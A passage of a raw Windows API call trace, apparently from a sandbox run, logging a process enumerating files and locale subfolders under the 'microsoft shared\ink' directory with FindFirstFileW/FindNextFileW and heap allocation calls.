ftLastAccessTime.dwLowDateTime=0xa06cf9a3, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a3a0736, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e4f68 [0214.273] FindNextFileW (in: hFindFile=0x33e4f68, lpFindFileData=0x2e5ecb8 | out: lpFindFileData=0x2e5ecb8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b63f64, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa06cf9a3, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a3a0736, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0214.273] FindNextFileW (in: hFindFile=0x33e4f68, lpFindFileData=0x2e5ecb8 | out: lpFindFileData=0x2e5ecb8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3c3a52f7, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x3c3a52f7, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x3c3a52f7, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x2600, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 1 [0214.273] FindNextFileW (in: hFindFile=0x33e4f68, lpFindFileData=0x2e5ecb8 | out: lpFindFileData=0x2e5ecb8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3c3a52f7, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x3c3a52f7, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x3c3a52f7, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x2600, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 0 [0214.273] FindClose (in: hFindFile=0x33e4f68 | out: hFindFile=0x33e4f68) returned 1 [0214.273] GetProcessHeap () returned 0xc10000 [0214.273] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x3438ff0 | out: hHeap=0xc10000) returned 1 [0214.274] FindNextFileW (in: hFindFile=0x33e4ee8, lpFindFileData=0x2e5ef40 | out: lpFindFileData=0x2e5ef40*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b8a1d2, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa06cfce2, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a3a0736, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="hr-HR", cAlternateFileName="")) returned 1 [0214.274] GetProcessHeap () returned 0xc10000 [0214.274] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x3438ff0 [0214.274] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\hr-HR\\*", lpFindFileData=0x2e5ecb8 | out: lpFindFileData=0x2e5ecb8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b8a1d2, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa06cfce2, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a3a0736, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e4b68 [0214.274] FindNextFileW (in: hFindFile=0x33e4b68, lpFindFileData=0x2e5ecb8 | out: lpFindFileData=0x2e5ecb8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b8a1d2, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa06cfce2, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a3a0736, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0214.274] FindNextFileW (in: hFindFile=0x33e4b68, lpFindFileData=0x2e5ecb8 | out: lpFindFileData=0x2e5ecb8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3c3a52f7, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x3c3a52f7, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x3c3a52f7, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x2800, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 1 [0214.274] FindNextFileW (in: hFindFile=0x33e4b68, lpFindFileData=0x2e5ecb8 | out: lpFindFileData=0x2e5ecb8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3c3a52f7, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x3c3a52f7, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x3c3a52f7, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x2800, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 0 [0214.274] FindClose (in: hFindFile=0x33e4b68 | out: hFindFile=0x33e4b68) returned 1 [0214.275] GetProcessHeap () returned 0xc10000 [0214.275] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x3438ff0 | out: hHeap=0xc10000) returned 1 [0214.275] FindNextFileW (in: hFindFile=0x33e4ee8, lpFindFileData=0x2e5ef40 | out: lpFindFileData=0x2e5ef40*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b8a1d2, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa06d0656, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a3a0736, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="hu-HU", cAlternateFileName="")) returned 1 [0214.275] GetProcessHeap () returned 0xc10000 [0214.275] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x3438ff0 [0214.275] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\hu-HU\\*", lpFindFileData=0x2e5ecb8 | out: lpFindFileData=0x2e5ecb8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b8a1d2, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa06d0656, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a3a0736, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e48a8 [0214.275] FindNextFileW (in: hFindFile=0x33e48a8, lpFindFileData=0x2e5ecb8 | out: lpFindFileData=0x2e5ecb8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b8a1d2, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa06d0656, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a3a0736, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0214.275] FindNextFileW (in: hFindFile=0x33e48a8, lpFindFileData=0x2e5ecb8 | out: lpFindFileData=0x2e5ecb8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3c3a52f7, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x3c3a52f7, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x3c3a52f7, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x2800, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 1 [0214.275] FindNextFileW (in: hFindFile=0x33e48a8, lpFindFileData=0x2e5ecb8 | out: lpFindFileData=0x2e5ecb8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3c3a52f7, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x3c3a52f7, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x3c3a52f7, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x2800, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 0 [0214.275] FindClose (in: hFindFile=0x33e48a8 | out: hFindFile=0x33e48a8) returned 1 [0214.275] GetProcessHeap () returned 0xc10000 [0214.275] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x3438ff0 | out: hHeap=0xc10000) returned 1 [0214.275] FindNextFileW (in: hFindFile=0x33e4ee8, lpFindFileData=0x2e5ef40 | out: lpFindFileData=0x2e5ef40*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7c8ce781, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0xe382bd1f, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0xe382bd1f, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0xb620, dwReserved0=0x0, dwReserved1=0x0, cFileName="hwrcommonlm.dat", cAlternateFileName="")) returned 1 [0214.276] FindNextFileW (in: hFindFile=0x33e4ee8, lpFindFileData=0x2e5ef40 | out: lpFindFileData=0x2e5ef40*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x6eba2ec1, ftCreationTime.dwHighDateTime=0x1d112f2, ftLastAccessTime.dwLowDateTime=0xa07693a9, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x6eba2ec1, ftLastWriteTime.dwHighDateTime=0x1d112f2, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="HWRCustomization", cAlternateFileName="HWRCUS~1")) returned 1 [0214.276] GetProcessHeap () returned 0xc10000 [0214.276] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x3438ff0 [0214.276] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\HWRCustomization\\*", lpFindFileData=0x2e5ecb8 | out: lpFindFileData=0x2e5ecb8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x6eba2ec1, ftCreationTime.dwHighDateTime=0x1d112f2, ftLastAccessTime.dwLowDateTime=0xa07693a9, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x6eba2ec1, ftLastWriteTime.dwHighDateTime=0x1d112f2, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e4b68 [0214.276] FindNextFileW (in: hFindFile=0x33e4b68, lpFindFileData=0x2e5ecb8 | out: lpFindFileData=0x2e5ecb8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x6eba2ec1, ftCreationTime.dwHighDateTime=0x1d112f2, ftLastAccessTime.dwLowDateTime=0xa07693a9, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x6eba2ec1, ftLastWriteTime.dwHighDateTime=0x1d112f2, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0214.276] FindNextFileW (in: hFindFile=0x33e4b68, lpFindFileData=0x2e5ecb8 | out: lpFindFileData=0x2e5ecb8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x6eba2ec1, ftCreationTime.dwHighDateTime=0x1d112f2, ftLastAccessTime.dwLowDateTime=0xa07693a9, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x6eba2ec1, ftLastWriteTime.dwHighDateTime=0x1d112f2, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0214.276] FindClose (in: hFindFile=0x33e4b68 | out: hFindFile=0x33e4b68) returned 1 [0214.276] GetProcessHeap () returned 0xc10000 [0214.276] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x3438ff0 | out: hHeap=0xc10000) returned 1 [0214.276] FindNextFileW (in: hFindFile=0x33e4ee8, lpFindFileData=0x2e5ef40 | out: lpFindFileData=0x2e5ef40*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x85c57278, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0xb269cdea, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0xb269cdea, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x79bc0, dwReserved0=0x0, dwReserved1=0x0, cFileName="hwrenclm.dat", cAlternateFileName="")) returned 1 [0214.276] FindNextFileW (in: hFindFile=0x33e4ee8, lpFindFileData=0x2e5ef40 | out: lpFindFileData=0x2e5ef40*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7c8ce781, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0xe38781cd, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0xe38781cd, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x10cb30, dwReserved0=0x0, dwReserved1=0x0, cFileName="hwrlatinlm.dat", cAlternateFileName="")) returned 1 [0214.276] FindNextFileW (in: hFindFile=0x33e4ee8, lpFindFileData=0x2e5ef40 | out: lpFindFileData=0x2e5ef40*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x85cc99ae, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0xb28b2edf, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0xb28b2edf, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x2662f0, dwReserved0=0x0, dwReserved1=0x0, cFileName="hwrusalm.dat", cAlternateFileName="")) returned 1 [0214.276] FindNextFileW (in: hFindFile=0x33e4ee8, lpFindFileData=0x2e5ef40 | out: lpFindFileData=0x2e5ef40*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x85cc99ae, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0xb281a570, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0xb281a570, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x339380, dwReserved0=0x0, dwReserved1=0x0, cFileName="hwrusash.dat", cAlternateFileName="")) returned 1 [0214.277] FindNextFileW (in: hFindFile=0x33e4ee8, lpFindFileData=0x2e5ef40 | out: lpFindFileData=0x2e5ef40*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3e38953f, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x3e38953f, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x3e38953f, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x58400, dwReserved0=0x0, dwReserved1=0x0, cFileName="InkDiv.dll", cAlternateFileName="")) returned 1 [0214.277] FindNextFileW (in: hFindFile=0x33e4ee8, lpFindFileData=0x2e5ef40 | out: lpFindFileData=0x2e5ef40*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3e38953f, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x3e38953f, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x3e38953f, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x1ecc00, dwReserved0=0x0, dwReserved1=0x0, cFileName="InkObj.dll", cAlternateFileName="")) returned 1 [0214.277] FindNextFileW (in: hFindFile=0x33e4ee8, lpFindFileData=0x2e5ef40 | out: lpFindFileData=0x2e5ef40*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7d14d081, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0xe467a929, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0xe467a929, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x59a00, dwReserved0=0x0, dwReserved1=0x0, cFileName="InputPersonalization.exe", cAlternateFileName="")) returned 1 [0214.277] FindNextFileW (in: hFindFile=0x33e4ee8, lpFindFileData=0x2e5ef40 | out: lpFindFileData=0x2e5ef40*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7d126e12, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x7d126e12, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x7d126e12, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x972, dwReserved0=0x0, dwReserved1=0x0, cFileName="ipsar.xml", cAlternateFileName="")) returned 1 [0214.277] FindNextFileW (in: hFindFile=0x33e4ee8, lpFindFileData=0x2e5ef40 | out: lpFindFileData=0x2e5ef40*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7d126e12, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x7d126e12, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x7d126e12, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xa20, dwReserved0=0x0, dwReserved1=0x0, cFileName="ipscat.xml", cAlternateFileName="")) returned 1 [0214.277] FindNextFileW (in: hFindFile=0x33e4ee8, lpFindFileData=0x2e5ef40 | out: lpFindFileData=0x2e5ef40*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7d126e12, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x7d126e12, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x7d126e12, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x99e, dwReserved0=0x0, dwReserved1=0x0, cFileName="ipschs.xml", cAlternateFileName="")) returned 1 [0214.277] FindNextFileW (in: hFindFile=0x33e4ee8, lpFindFileData=0x2e5ef40 | out: lpFindFileData=0x2e5ef40*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7d126e12, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x7d126e12, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x7d126e12, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x984, dwReserved0=0x0, dwReserved1=0x0, cFileName="ipscht.xml", cAlternateFileName="")) returned 1 [0214.277] FindNextFileW (in: hFindFile=0x33e4ee8, lpFindFileData=0x2e5ef40 | out: lpFindFileData=0x2e5ef40*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7c940eb6, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x7c940eb6, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x7c940eb6, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x9fc, dwReserved0=0x0, dwReserved1=0x0, cFileName="ipscsy.xml", cAlternateFileName="")) returned 1 [0214.278] GetProcessHeap () returned 0xc10000 [0214.278] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x3438ff0 [0214.278] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\it-IT\\*", lpFindFileData=0x2e5ecb8 | out: lpFindFileData=0x2e5ecb8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b8a1d2, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa0769b1e, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a3a0736, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e4d68 [0214.280] GetProcessHeap () returned 0xc10000 [0214.280] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x3438ff0 | out: hHeap=0xc10000) returned 1 [0214.280] GetProcessHeap () returned 0xc10000 [0214.280] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x3438ff0 [0214.280] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\ja-JP\\*", lpFindFileData=0x2e5ecb8 | out: lpFindFileData=0x2e5ecb8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b8a1d2, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa076a026, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a3a0736, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e4be8 [0214.280] GetProcessHeap () returned 0xc10000 [0214.280] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x3438ff0 | out: hHeap=0xc10000) returned 1 [0214.280] GetProcessHeap () returned 0xc10000 [0214.280] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x3438ff0 [0214.280] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\ko-KR\\*", lpFindFileData=0x2e5ecb8 | out: lpFindFileData=0x2e5ecb8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b8a1d2, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa076a7a6, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a3a0736, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e48a8 [0214.281] GetProcessHeap () returned 0xc10000 [0214.281] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x3438ff0 | out: hHeap=0xc10000) returned 1 [0214.281] GetProcessHeap () returned 0xc10000 [0214.281] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x3438ff0 [0214.281] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\LanguageModel\\*", lpFindFileData=0x2e5ecb8 | out: lpFindFileData=0x2e5ecb8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b8a1d2, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa076afd8, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a3a0736, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e4b68 [0214.281] GetProcessHeap () returned 0xc10000 [0214.281] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x3438ff0 | out: hHeap=0xc10000) returned 1 [0214.281] GetProcessHeap () returned 0xc10000 [0214.281] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x3438ff0 [0214.281] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\lt-LT\\*", lpFindFileData=0x2e5ecb8 | out: lpFindFileData=0x2e5ecb8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b8a1d2, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa076b52b, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a3a0736, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e49e8 [0214.281] GetProcessHeap () returned 0xc10000 [0214.281] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x3438ff0 | out: hHeap=0xc10000) returned 1 [0214.281] GetProcessHeap () returned 0xc10000 [0214.281] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x3438ff0 [0214.282] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\lv-LV\\*", lpFindFileData=0x2e5ecb8 | out: lpFindFileData=0x2e5ecb8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b8a1d2, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa076ba6e, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a3a0736, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e4ca8 [0214.282] GetProcessHeap () returned 0xc10000 [0214.282] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x3438ff0 | out: hHeap=0xc10000) returned 1 [0214.282] GetProcessHeap () returned 0xc10000 [0214.282] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x3438ff0 [0214.282] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\nb-NO\\*", lpFindFileData=0x2e5ecb8 | out: lpFindFileData=0x2e5ecb8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b8a1d2, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa076bff5, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a3a0736, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e49e8 [0214.282] GetProcessHeap () returned 0xc10000 [0214.282] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x3438ff0 | out: hHeap=0xc10000) returned 1 [0214.282] GetProcessHeap () returned 0xc10000 [0214.282] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x3438ff0 [0214.282] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\nl-NL\\*", lpFindFileData=0x2e5ecb8 | out: lpFindFileData=0x2e5ecb8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b8a1d2, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa076c75d, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a3c699c, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, 